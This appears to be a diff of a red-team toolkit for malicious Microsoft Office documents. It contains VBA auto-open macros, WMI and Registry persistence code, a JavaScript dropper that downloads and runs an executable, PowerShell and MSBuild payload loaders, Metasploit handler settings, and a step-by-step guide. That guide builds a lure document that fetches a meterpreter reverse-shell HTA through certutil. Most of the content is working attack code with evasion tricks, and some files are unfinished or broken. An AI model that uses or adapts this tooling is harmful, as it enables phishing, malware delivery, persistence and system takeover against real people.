IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
```
- **`muti-stage-1.md`** - Multi-Stage Penetration-Testing / Red Teaming Malicious Word document creation process. ([gist](https://gist.github.com/mgeeky/6097ea56e0f541aa7d98161e2aa76dfb))
- **`macro-psh-stdin-author.vbs`** - VBS Social Engineering Macro with Powershell invocation taking arguments from Author property and feeding them to StdIn. ([gist](https://gist.github.com/mgeeky/50c4b7fa22d930a80247fea62755fbd3))
- **`Invoke-Command-Cred-Example.ps1`** - Example of using PSRemoting with credentials passed directly from command line. ([gist](https://gist.github.com/mgeeky/de4ecf952ddce774d241b85cfbf97faf))
- **`Phish-Creds.ps1`** - Powershell oneline Credentials Phisher - to be used in malicious Word Macros/VBA/HTA or other RCE commands on seized machine. ([gist](https://gist.github.com/mgeeky/a404d7f23c85954650d686bb3f02abaf))
One can additionally add, right after `Get-Credential` following parameters that could improve pretext's quality during social engineering attempt:
- `-Credential domain\username` - when we know our victim's domain and/or username - we can supply this info to the dialog
- `-Message "Some luring sentence"` - to include some luring message
- **`vba-windows-persistence.vbs`** - VBA Script implementing two windows persistence methods - via WMI EventFilter object and via simple Registry Run. ([gist](https://gist.github.com/mgeeky/07ffbd9dbb64c80afe05fb45a0f66f81))
- **`set-handler.rc`** - Quickly set metasploit's multi-handler + web_delivery (separated) handler for use with powershell. ([gist](https://gist.github.com/mgeeky/bf4d732aa6e602ca9b77d089fd3ea7c9))
- **`delete-warning-div-macro.vbs`** - VBA Macro function to be used as a Social Engineering trick removing "Enable Content" warning message as the topmost floating text box with given name. ([gist](https://gist.github.com/mgeeky/9cb6acdec31c8a70cc037c84c77a359c))
- **`vba-macro-mac-persistence.vbs`** - (WIP) Working on VBA-based MacPersistance functionality for MS Office for Mac Macros. ([gist](https://gist.github.com/mgeeky/dd184e7f50dfab5ac97b4855f23952bc))
- **`WMIPersistence.vbs`** - Visual Basic Script implementing WMI Persistence method (as implemented in SEADADDY malware and further documented by Matt Graeber) to make the Macro code schedule malware startup after roughly 3 minutes since system gets up. ([gist](https://gist.github.com/mgeeky/d00ba855d2af73fd8d7446df0f64c25a))
- **`MacroDetectSandbox.vbs`** - Visual Basic script responsible for detecting Sandbox environments, as presented in modern Trojan Droppers implemented in Macros. ([gist](https://gist.github.com/mgeeky/61e4dfe305ab719e9874ca442779a91d))
- **`Various-Macro-Based-RCEs.md`** - Various Visual Basic Macros-based Remote Code Execution techniques to get your meterpreter invoked on the infected machine. ([gist](https://gist.github.com/mgeeky/61e4dfe305ab719e9874ca442779a91d))
- **`SubstitutePageMacro.vbs`** - This is a template for the Malicious Macros that would like to substitute primary contents of the document (like luring/fake warnings to "Enable Content") and replace document's contents with what is inside of an AutoText named `RealDoc` (configured via variable `autoTextTemplateName` ). ([gist](https://gist.github.com/mgeeky/3c705560c5041ab20c62f41e917616e6))
- **`warnings\EN-Word.docx`** and **`warnings\EN-Excel.docx`** - Set of ready-to-use Microsoft Office Word shapes that can be pasted / inserted into malicious documents for enticing user into clicking "Enable Editing" and "Enable Content" buttons.
- **`backdoor-drop.js`** - Internet Explorer - JavaScript trojan/backdoor dropper template, to be used during Penetration Testing assessments. ([gist](https://gist.github.com/mgeeky/b0aed7c1e510560db50f96604b150dac))

View File

@ -0,0 +1,74 @@
Public alreadyLaunched As Integer
Private Sub Malware()
'
' ============================================
'
' Enter here your malware code here.
' It will be started on auto open surely.
'
' ============================================
MsgBox ("Here comes the malware!")
' ============================================
End Sub
Private Sub Launch()
If alreadyLaunched = True Then
Exit Sub
End If
Malware
SubstitutePage
alreadyLaunched = True
End Sub
Private Sub SubstitutePage()
'
' This routine will take the entire Document's contents,
' delete them and insert in their place contents defined in
' INSERT -> Quick Parts -> AutoText -> named as in `autoTextTemplateName`
'
Dim doc As Word.Document
Dim firstPageRange As Range
Dim rng As Range
Dim autoTextTemplateName As String
' This is the name of the defined AutoText prepared in the document,
' to be inserted in place of previous contents.
autoTextTemplateName = "RealDoc"
Set firstPageRange = Word.ActiveDocument.Range
firstPageRange.Select
Selection.WholeStory
Selection.Delete Unit:=wdCharacter, Count:=1
Set doc = ActiveDocument
Set rng = doc.Sections(1).Range
doc.AttachedTemplate.AutoTextEntries(autoTextTemplateName).Insert rng, True
doc.Save
End Sub
Sub AutoOpen()
' Becomes launched as first on MS Word
Launch
End Sub
Sub Document_Open()
' Becomes launched as second, another try, on MS Word
Launch
End Sub
Sub Auto_Open()
' Becomes launched as first on MS Excel
Launch
End Sub
Sub Workbook_Open()
' Becomes launched as second, another try, on MS Excel
Launch
End Sub

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,77 @@
'
' SYNOPSIS:
' WMI Persistence method as originally presented by SEADADDY malware
' (https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887)
' and further documented by Matt Graeber.
'
' The scheduled command will be launched after roughly 3 minutes since system
' gets up. Also, even if the command shall spawn a window - it will not be visible,
' since the command will get invoked by WmiPrvSE.exe that's running in Session 0.
'
' USAGE:
' WMIPersistence("command to be launched", "taskName")
'
' EXAMPLE:
' WMIPersistence("powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ[...]EUAWAA=", "WindowsUpdater")
'
' AUTHOR:
' Mariusz B. / mgeeky, '17
'
Public Function WMIPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
Dim filterName, consumerName As String
Dim objLocator, objService1
Dim objInstances1, objInstances2, objInstances3
Dim newObj1, newObj2, newObj3
On Error GoTo Failed
filterName = taskName & "Event"
consumerName = taskName & "Consumer"
Set objLocator = CreateObject("WbemScripting.SWbemLocator")
Set objService1 = objLocator.ConnectServer(".", "root\subscription")
'
' Step 1: Set WMI Instance of type Event Filter
'
Set objInstances1 = objService1.Get("__EventFilter")
' The malware originally will kicks in after roughly 3 minutes since System gets up.
' One can modify this delay time by modifying the WHERE clausule of the below query.
query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " _
& "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " _
& "AND TargetInstance.SystemUpTime >= 200 AND " _
& "TargetInstance.SystemUpTime < 320"
' New object of type __EventFilter
Set newObj1 = objInstances1.Spawninstance_
newObj1.name = filterName
newObj1.eventNamespace = "root\cimv2"
newObj1.QueryLanguage = "WQL"
newObj1.query = query
newObj1.Put_
'
' Step 2: Set WMI instance of type: CommandLineEventConsumer
'
Set objInstances2 = objService1.Get("CommandLineEventConsumer")
Set newObj2 = objInstances2.Spawninstance_
newObj2.name = consumerName
newObj2.CommandLineTemplate = exePath
newObj2.Put_
'
' Step 3: Set WMI instance of type: Filter To Consumer Binding
'
Set objInstances3 = objService1.Get("__FilterToConsumerBinding")
Set newObj3 = objInstances3.Spawninstance_
newObj3.Filter = "__EventFilter.Name=""" & filterName & """"
newObj3.Consumer = "CommandLineEventConsumer.Name=""" & consumerName & """"
newObj3.Put_
WMIPersistence = True
Exit Function
Failed:
WMIPersistence = False
End Function

View File

@ -0,0 +1,26 @@
<script>
var SRC = "";
var CMDLINE = "";
var out = Math.random().toString(36).substring(7) + ".exe";
var axo = this.ActiveXObject;
var wshell = new axo("WScript.Shell");
var path = wshell.ExpandEnvironmentStrings("%TEMP%") + "/" + out;
var xhr = new axo("MSXML2.XMLHTTP");
xhr.onreadystatechange = function () {
if (xhr.readystate === 4) {
var adodb = new axo("ADODB.Stream");
adodb.open();
adodb.type = 1;
adodb.write(xhr.ResponseBody);
adodb.position = 0;
adodb.saveToFile(path, 2);
adodb.close();
};
};
try {
xhr.open("GET", SRC, false);
xhr.send();
wshell.Run(path + " " + CMDLINE, 0, false);
} catch (err) { };
</script>

View File

@ -0,0 +1,30 @@
#!/usr/bin/python3
import io
import sys
import gzip
import base64
def main(argv):
if len(argv) < 2:
print('Usage: ./compressedPowershell.py <input>')
sys.exit(-1)
out = io.BytesIO()
encoded = ''
with open(argv[1], 'rb') as f:
inp = f.read()
with gzip.GzipFile(fileobj = out, mode = 'w') as fo:
fo.write(inp)
encoded = base64.b64encode(out.getvalue())
powershell = '''$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String("{}"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();'''.format(encoded.decode())
print(powershell)
if __name__ == '__main__':
main(sys.argv)

View File

@ -0,0 +1,12 @@
Private Sub DeleteWarningPicture(ByVal textBoxName As String, ByVal saveDocAfter As Boolean)
Dim shape As Word.shape
For Each shape In ActiveDocument.Shapes
If StrComp(shape.Name, textBoxName) = 0 Then
shape.Delete
Exit For
End If
Next
If saveDocAfter Then
ActiveDocument.Save
End If
End Sub

View File

@ -0,0 +1,234 @@
#!/usr/bin/python3
#
# Red-Teaming script that will leverage MSBuild technique to convert Powershell input payload or
# .NET/CLR assembly EXE file into inline-task XML file that can be further launched by:
# %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
#
# Requirements:
# - pefile
#
# Mariusz B. / mgeeky, <mb@binary-offensive.com>
#
import re
import io
import sys
import gzip
import base64
import string
import struct
import random
import argparse
try:
import pefile
except ImportError:
print('Missing requirement: "pefile". Install it using: pip install pefile')
sys.exit(-1)
def getCompressedPayload(filePath):
out = io.BytesIO()
encoded = ''
with open(filePath, 'rb') as f:
inp = f.read()
with gzip.GzipFile(fileobj = out, mode = 'w') as fo:
fo.write(inp)
encoded = base64.b64encode(out.getvalue())
powershell = "$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('{}')); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();".format(
encoded.decode()
)
return powershell
def getInlineTask(payload, exeFile):
templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
taskName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
powershellLaunchCode = string.Template('''<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class $templateName : Task {
public override bool Execute() {
byte[] payload = System.Convert.FromBase64String("$payload2");
string decoded = System.Text.Encoding.UTF8.GetString(payload);
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
Pipeline pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript(decoded);
pipeline.Invoke();
runspace.Close();
return true;
}
}
]]>
</Code>''').safe_substitute(
templateName = templateName,
payload2 = base64.b64encode(payload)
)
exeLaunchCode = string.Template('''<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.Reflection" />
<Code Type="Fragment" Language="cs">
<![CDATA[
string payload = "$payload2";
byte[] decoded = System.Convert.FromBase64String(payload);
Assembly asm = Assembly.Load(decoded);
MethodInfo method = asm.EntryPoint;
object instance = asm.CreateInstance(method.Name);
method.Invoke(instance, null);
]]>
</Code>''').safe_substitute(
payload2 = base64.b64encode(payload)
)
launchCode = exeLaunchCode if exeFile else powershellLaunchCode
template = string.Template('''<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- Based on Casey Smith work, Twitter: @subTee -->
<!-- Automatically generated using `generateMSBuildPowershellXML.py` utility -->
<!-- by Mariusz B. / mgeeky <mb@binary-offensive.com> -->
<Target Name="$taskName">
<$templateName />
</Target>
<UsingTask TaskName="$templateName" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll" >
$launchCode
</Task>
</UsingTask>
</Project>''').safe_substitute(
taskName = taskName,
templateName = templateName,
launchCode = launchCode
)
return template
def detectFileIsExe(filePath, forced = False):
first1000 = []
with open(filePath, 'rb') as f:
first1000 = f.read()[:1000]
if not (first1000[0] == 'M' and first1000[1] == 'Z'):
return False
elfanew = struct.unpack('<H', first1000[0x3c:0x3c + 2])[0]
if not (first1000[elfanew + 0] == 'P' and first1000[elfanew + 1] == 'E'):
return False
dosStub = "This program cannot be run in DOS mode."
printables = ''.join([x for x in first1000[0x40:] if x in string.printable])
#if not dosStub in printables:
# return False
try:
pe = pefile.PE(filePath)
cli = pe.OPTIONAL_HEADER.DATA_DIRECTORY[14]
if not (cli.VirtualAddress != 0 and cli.Size != 0):
sys.stderr.write('[!] Specified input file is not a .NET Assembly / CLR executable file!\n')
if forced:
sys.exit(-1)
raise Exception()
else:
sys.stderr.write('[+] Specified EXE file seems to be .NET Assembly / CLR compatible.\n')
return True
except:
pass
return False
def minimize(output):
output = re.sub(r'\s*\<\!\-\- .* \-\-\>\s*\n', '', output)
output = output.replace('\n', '')
output = re.sub(r'\s{2,}', ' ', output)
output = re.sub(r'\s+([^\w])\s+', r'\1', output)
output = re.sub(r'([^\w"])\s+', r'\1', output)
variables = {
'payload' : 'x',
'method' : 'm',
'asm' : 'a',
'instance' : 'o',
'pipeline' : 'p',
'runspace' : 'r',
'decoded' : 'd'
}
for k, v in variables.items():
output = output.replace(k, v)
return output
def opts(argv):
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <inputFile>')
parser.add_argument('inputFile', help = 'Input file to be encoded within XML. May be either Powershell script or PE/EXE file.')
parser.add_argument('-m', '--minimize', action='store_true', help = 'Minimize the output XML file.')
parser.add_argument('-b', '--encode', action='store_true', help = 'Base64 encode output XML file.')
parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE (optional, if not used - the script will try to sense that). WARNING: Launching EXE is possibly ONLY WITH MONO/.NET IL/Assembly EXE file, not an ordinary native PE/EXE!')
args = parser.parse_args()
return args
def main(argv):
sys.stderr.write('''
:: Powershell via MSBuild inline-task XML payload generation script
To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'
Mariusz B. / mgeeky, <mb@binary-offensive.com>
''')
if len(argv) < 2:
print('Usage: ./generateMSBuildPowershellXML.py <inputFile>')
sys.exit(-1)
args = opts(argv)
isItExeFile = args.exe or detectFileIsExe(args.inputFile, args.exe)
if isItExeFile:
sys.stderr.write('[?] File recognized as PE/EXE.\n\n')
with open(args.inputFile, 'rb') as f:
payload = f.read()
else:
sys.stderr.write('[?] File not recognized as PE/EXE.\n\n')
if args.inputFile.endswith('.exe'):
return False
payload = getCompressedPayload(args.inputFile)
output = getInlineTask(payload, isItExeFile)
if args.minimize:
output = minimize(output)
if args.encode:
print(base64.b64encode(output))
else:
print(output)
if __name__ == '__main__':
main(sys.argv)

View File

@ -0,0 +1,12 @@
Private Sub Workbook_Open()
Dim author As String
author = ActiveWorkbook.BuiltinDocumentProperties("Author")
Dim ws As Object
Set ws = CreateObject("WScript.Shell")
With ws.Exec("powershell.exe -nop -WindowStyle hidden -Command -")
.StdIn.WriteLine author
.StdIn.WriteBlankLines 1
.Terminate
End With
End Sub

View File

@ -0,0 +1,89 @@
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- Original Author: Pierre-Alexandre Braeken, Twitter: @pabraeken -->
<!-- Based on Casey Smith work (https://gist.github.com/subTee/ca477b4d19c885bec05ce238cbad6371), Twitter: @subTee -->
<!-- To be launched like so: cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe task1.xml -->
<!-- Modified by Mariusz B. / mgeeky. -->
<Target Name="MyLittleInlineTaskName">
<MyLittleInlineTask />
</Target>
<UsingTask
TaskName="MyLittleInlineTask"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class MyLittleInlineTask : Task, ITask {
public override bool Execute() {
// Is your payload a raw EXE file?
bool rawExeFile = false;
if(!rawExeFile) {
/*
* Specifies whether Powershell payload is Base64 encoded.
*/
bool payloadBase64Encoded = false;
/*
* Here insert your plain multi-line Powershell snippet
*/
string payload = @"
$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('H4sIAMkfcloC/3u/e390cGVxSWquXlBqWk5qcklmfp6eY3Fxam5STmWslZVPfmJKeGZJRkBiUUlmYo5fYm6qhhJUR3hmXkp+ebGeW35RbrGSpkKNgn9pia5faU6ONS9XNDZFer6pxcWJ6alO+RVAs4Mz8ss11D1LFMrzi7KLFdU1rQFOfXYfjwAAAA=='));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
";
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
if (!payloadBase64Encoded) {
pipeline.Commands.AddScript(payload);
}
else {
string payload2 = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(payload));
pipeline.Commands.AddScript(payload2);
}
pipeline.Invoke();
runspace.Close();
}
else {
/*
* Here must be placed Base64 encoded raw EXE / PE file.
*/
string payload = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAA [...]";
byte[] decoded = System.Convert.FromBase64String(payload);
Assembly asm = Assembly.Load(decoded);
MethodInfo method = asm.EntryPoint;
object ob = asm.CreateInstance(method.Name);
method.Invoke(ob, null);
}
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>

View File

@ -0,0 +1,218 @@
# Multi-Stage Penetration-Testing / Red Teaming Malicious Word document creation process
The below paper documents the process of creating a multi-stage IPS/AV transparent malicious document for purposes of Red Teaming / Penetration-Testing assignments.
The resulted document will be:
- using OLE event autorun method
- removing it's pretext shapes
- Obtaining commands to be executed from document's _Author_ property and passing them to `StdIn` of _Powershell.exe_ process
- Leveraging `certutil` technique to receive Base64 encoded malicious HTA document
- Having Base64 encoded Powershell command in that _Author_ property
- Having fully Obfuscated VBA macro
---
1. Create an empty Word document with extension `.doc`
---
2. Create an OLE object named `Microsoft InkPicture Control` (_Developer tab -> Insert -> More controls -> ... _)
---
3. Double click on that OLE object and add the following method:
```
Public Once As Integer
Public Sub Launch()
On Error Resume Next
'
' Here will be malicious code placed
'
End Sub
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
If Once < 1 Then
Launch
End If
Once = Once + 1
End Sub
```
Since the `Painted` event will be triggered several times, we want to avoid situation of having several stagers popped on the target machine.
---
4. Then, add pretext shape enticing victim to enable editing/macros - having that, insert a function that will delete this shape after victim really enable macros.
For example of such shape - you can refer to one of my [repos](https://github.com/mgeeky/RobustPentestMacro).
**NOTICE**: Make sure to put the OLE Control in the topmost left corner of the document and to color that control (right click -> Propertied -> Color) so it will overlap visually with Pretext-shape.
The trick is to make the victim move the mouse over that OLE control after enabling macros (making it trigger `Painted` event in the background).
The function that will delete this and OLE object shapes after enabling macros is placed below:
```
Public Sub Launch()
On Error Resume Next
DeleteWarningShape "warning-div", True
DeleteWarningShape "Control 2", True
...
End Sub
Private Sub DeleteWarningShape(ByVal textBoxName As String, ByVal saveDocAfter As Boolean)
Dim shape As Word.shape
On Error Resume Next
For Each shape In ActiveDocument.Shapes
If StrComp(shape.Name, textBoxName) = 0 Then
shape.Delete
Exit For
End If
Next
If saveDocAfter Then
ActiveDocument.Save
End If
End Sub
```
---
5. Now, add code obtaining malicious _Powershell_ commands from _Author_ document's property and passing it to the _Powershell's_ `StdIn` stream:
```
Public Sub Launch()
On Error Resume Next
DeleteWarningShape "warning-div", True
DeleteWarningShape "Control 2", True
Dim authorProperty As String
authorProperty = ActiveDocument.BuiltInDocumentProperties("Author")
Set objWShell = CreateObject("WScr" & "ipt.S" & "hell")
With objWShell.Exec("powe" & "rsh" & "ell.exe -no" & "p -w" & "indowstyle hid" & "den -Com" & "mand -")
.StdIn.WriteLine authorProperty
.StdIn.WriteBlankLine 1
.Terminate
End With
```
Of course, having that - you will have to remember to add proper Powershell command to be executed right into _Author_ property of the Word file.
---
6. Now, we have to insert some code into that _Author_ property. This code should do the following:
- Download Base64 encoded `encoded.crt` file containing malicious HTA code.
- Use `certutil -decode encoded.crt out.hta` command that will strip that Base64 layer.
- Make entire powershell code that shall be placed in _Author_ property Unicode-Base64 encoded in such a way, that Powershell's `-EncodedCommand` will be able to process.
The following code can be use as an example:
```
powershell -ep bypass -Command "(new-object Net.WebClient).DownloadFile('http://192.168.56.101/encoded.crt','%TEMP%\encoded.crt');certutil -decode %TEMP%\encoded.crt %TEMP%\encoded.hta;start %TEMP%\encoded.hta"
```
Here, the file will be obtained from `http://192.168.56.101/encoded.crt` - of course, one will want to move that file into HTTPS webserver having some luring domain name.
This command can be then converted into Powershell-supported Base64 payload like so:
```
C:\Users\IEUser\Desktop\files\dl>powershell -ep bypass -command "[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(\"(new-object Net.WebClient).DownloadFile('http://192.168.56.101/encoded.crt','%TEMP%\encoded.crt');certutil -decode %TEMP%\encoded.crt %TEMP%\encoded.hta;start %TEMP%\encoded.hta\"))"
KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADUANgAuADEAMAAxAC8AZQBuAGMAbwBkAGUAZAAuAGMAcgB0ACcALAAnAEMAOgBcAFUAcwBlAHIAcwBcAEkARQBVAHMAZQByAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAG4AYwBvAGQAZQBkAC4AYwByAHQAJwApADsAYwBlAHIAdAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAEkARQBVAHMAZQByAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAG4AYwBvAGQAZQBkAC4AYwByAHQAIABDADoAXABVAHMAZQByAHMAXABJAEUAVQBzAGUAcgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAZQBuAGMAbwBkAGUAZAAuAGgAdABhADsAcwB0AGEAcgB0ACAAQwA6AFwAVQBzAGUAcgBzAFwASQBFAFUAcwBlAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGUAbgBjAG8AZABlAGQALgBoAHQAYQA=
```
Now this code is to be placed into _Author_ property.
---
7. Now, in order to generate that `encoded.crt` file - go for the following steps:
- Step 1: Using `msfvenom` generate malicious HTA file
- Step 2: Convert that payload into Base64-encoded certificate file.
In order to automate above steps - you can use the below script:
```
#!/bin/bash
# --- PAYLOAD SETUP
LHOST=192.168.56.101
LPORT=4444
PAYLOAD=windows/meterpreter/reverse_tcp
# This file must have *.crt extension
OUTPUT_FILE=/var/www/html/encoded.crt
PAYLOAD_FILE=/tmp/test$RANDOM
# ----
msfvenom -f hta-psh -p $PAYLOAD LHOST=$LHOST LPORT=$LPORT -o $PAYLOAD_FILE
echo -----BEGIN CERTIFICATE----- > $OUTPUT_FILE
cat $PAYLOAD_FILE | base64 -w 0 >> $OUTPUT_FILE
echo -----END CERTIFICATE----- >> $OUTPUT_FILE
chown www-data:www-data $OUTPUT_FILE 2> /dev/null
echo "Generated file: $OUTPUT_FILE"
```
And Voila! You will have your `encoded.crt` file in webroot.
---
8. After that you can add some persistence methods and further fail-proof the Macro code. For a nice example of persistence method - the `WMIPersistence` method can be used:
[WMIPersistence](https://gist.github.com/mgeeky/d00ba855d2af73fd8d7446df0f64c25a)
---
9. After that, you will want to make the entire VBA macro code become obfuscated to further slow down analysis process.
The obfuscation can easily be pulled off using my [VisualBasicObfuscator](https://github.com/mgeeky/VisualBasicObfuscator)
---
## ENTIRE MACRO CAN LOOK LIKE THIS:
(without persistence method)
```
Public Once As Integer
Public Sub Launch()
On Error Resume Next
DeleteWarningShape "warning-div", False
DeleteWarningShape "Control 2", False
Dim authorProperty As String
authorProperty = ActiveDocument.BuiltInDocumentProperties("Author")
Set objWShell = CreateObject("WScr" & "ipt.S" & "hell")
With objWShell.Exec("powe" & "rsh" & "ell.exe -no" & "p -w" & "indowstyle hid" & "den -Com" & "mand -")
.StdIn.WriteLine authorProperty
.StdIn.WriteBlankLine 1
.Terminate
End With
End Sub
Private Sub DeleteWarningShape(ByVal textBoxName As String, ByVal saveDocAfter As Boolean)
Dim shape As Word.shape
On Error Resume Next
For Each shape In ActiveDocument.Shapes
If StrComp(shape.Name, textBoxName) = 0 Then
shape.Delete
Exit For
End If
Next
If saveDocAfter Then
ActiveDocument.Save
End If
End Sub
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
If Once < 1 Then
Launch
End If
Once = Once + 1
End Sub
```

View File

@ -0,0 +1,19 @@
use exploit/multi/handler
setg PAYLOAD windows/x64/meterpreter/reverse_https
setg LHOST <ATTACKER-IP>
setg LPORT 443
setg VERBOSE true
setg ExitOnSession false
setg Powershell::sub_funcs true
setg Powershell::sub_vars true
setg EnableStageEncoding true
setg StagerRetryCount 30
setg StagerRetryWait 10
exploit -j
use exploit/multi/script/web_delivery
set TARGET 2
set SRVPORT 8080
set SSL true
set URIPATH msf
set DisablePayloadHandler true
exploit -j

View File

@ -0,0 +1,81 @@
#If VBA7 Then
' 64-bit Mac (2016)
Private Declare PtrSafe Function system Lib "libc.dylib" Alias "system" _
(ByVal command As String) As Long
Private Declare PtrSafe Function fopen Lib "libc.dylib" Alias "fopen" _
(ByVal file As String, ByVal mode As String) As LongPtr
Private Declare PtrSafe Function fputs Lib "libc.dylib" Alias "fputs" _
(ByVal str As String, ByVal file As LongPtr) As Long
Private Declare PtrSafe Function fclose Lib "libc.dylib" Alias "fclose" _
(ByVal file As LongPtr) As Long
#Else
' 32-bit Mac
Private Declare Function system Lib "libc.dylib" Alias "system" _
(ByVal command As String) As Long
Private Declare Function fopen Lib "libc.dylib" Alias "fopen" _
(ByVal file As String, ByVal mode As String) As Long
Private Declare Function fputs Lib "libc.dylib" Alias "fputs" _
(ByVal str As String, ByVal file As Long) As Long
Private Declare Function fclose Lib "libc.dylib" Alias "fclose" _
(ByVal file As Long) As Long
#End If
Sub writeToFile(ByVal file As String, ByVal txt As String)
#If Mac Then
#If VBA7 Then
Dim fp As LongPtr
#Else
Dim fp As Long
#End If
Dim grants
grants = Array(file)
GrantAccessToMultipleFiles(grants)
' BUG: fopen will return 0 here.
fp = fopen(file, "w")
If fp = 0 Then: Exit Sub
fputs txt, fp
fclose(fp)
#End If
End Sub
Sub MacPersistence(ByVal cmd As String, ByVal taskName As String)
Dim plist As String
plist = "<?xml version=""1.0"" encoding=""UTF-8""?>\n"
plist = plist & "<!DOCTYPE plist PUBLIC ""-//Apple Computer//DTD "
plist = plist & "PLIST 1.0//EN"" ""http://www.apple.com/DTDs/plist"
plist = plist & " = plist & PropertyList-1.0.dtd"">\n"
plist = plist & "<plist version=""1.0"">\n
plist = plist & "<dict>\n"
plist = plist & " <key>Label</key>\n"
plist = plist & " <string>" & taskName & "</string>\n"
plist = plist & " <key>ProgramArguments</key>\n"
plist = plist & " <array>\n"
plist = plist & " <string>/bin/bash</string>\n"
plist = plist & " <string>-c</string>\n"
plist = plist & " <string>'" & cmd & "'</string>\n"
plist = plist & " </array>\n"
plist = plist & " <key>RunAtLoad</key>\n"
plist = plist & " <true/>\n"
plist = plist & " <key>KeepAlive</key>\n"
plist = plist & " <true/>\n"
plist = plist & "</dict>\n"
plist = plist & "</plist>\n"
' TODO: File writing does not work at the moment, most likely due to
' apps sandboxing mechanism enforced by the system.
' Approach #1: File write by system command
' system("echo -e """ & plist & """ > ~/Library/LaunchAgents/" & taskName)
' Approach #2: File write by fopen+fputs+fclose
Dim fileName As String
fileName = "~/Library/LaunchAgents/" & taskName & ".plist"
writeToFile fileName, plist
End Sub
Sub TestMacPersistence()
MacPersistence "/Applications/Calculator.app/Contents/MacOS/Calculator", "com.java.update"
End Sub

View File

@ -0,0 +1,105 @@
'
' SYNOPSIS:
' This macro implements two windows persistence methods:
' - WMI Event Filter object creation
' - simple HKCU Registry Run value insertion. It has to be HKCU to make it work under Win10 x64
'
' WMI Persistence method as originally presented by SEADADDY malware
' (https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887)
' and further documented by Matt Graeber.
'
' The scheduled command will be launched after roughly 3 minutes since system
' gets up. Also, even if the command shall spawn a window - it will not be visible,
' since the command will get invoked by WmiPrvSE.exe that's running in Session 0.
'
' USAGE:
' WindowsPersistence("command to be launched", "taskName")
'
' EXAMPLE:
' WindowsPersistence "powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ[...]EUAWAA=", "WindowsUpdater"
'
' AUTHOR:
' Mariusz B. / mgeeky, '17
'
Public Function WMIPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
Dim filterName, consumerName As String
Dim objLocator, objService1
Dim objInstances1, objInstances2, objInstances3
Dim newObj1, newObj2, newObj3
On Error GoTo Failed
filterName = taskName & "Event"
consumerName = taskName & "Consumer"
Set objLocator = CreateObject("WbemScripting.SWbemLocator")
Set objService1 = objLocator.ConnectServer(".", "root\subscription")
'
' Step 1: Set WMI Instance of type Event Filter
'
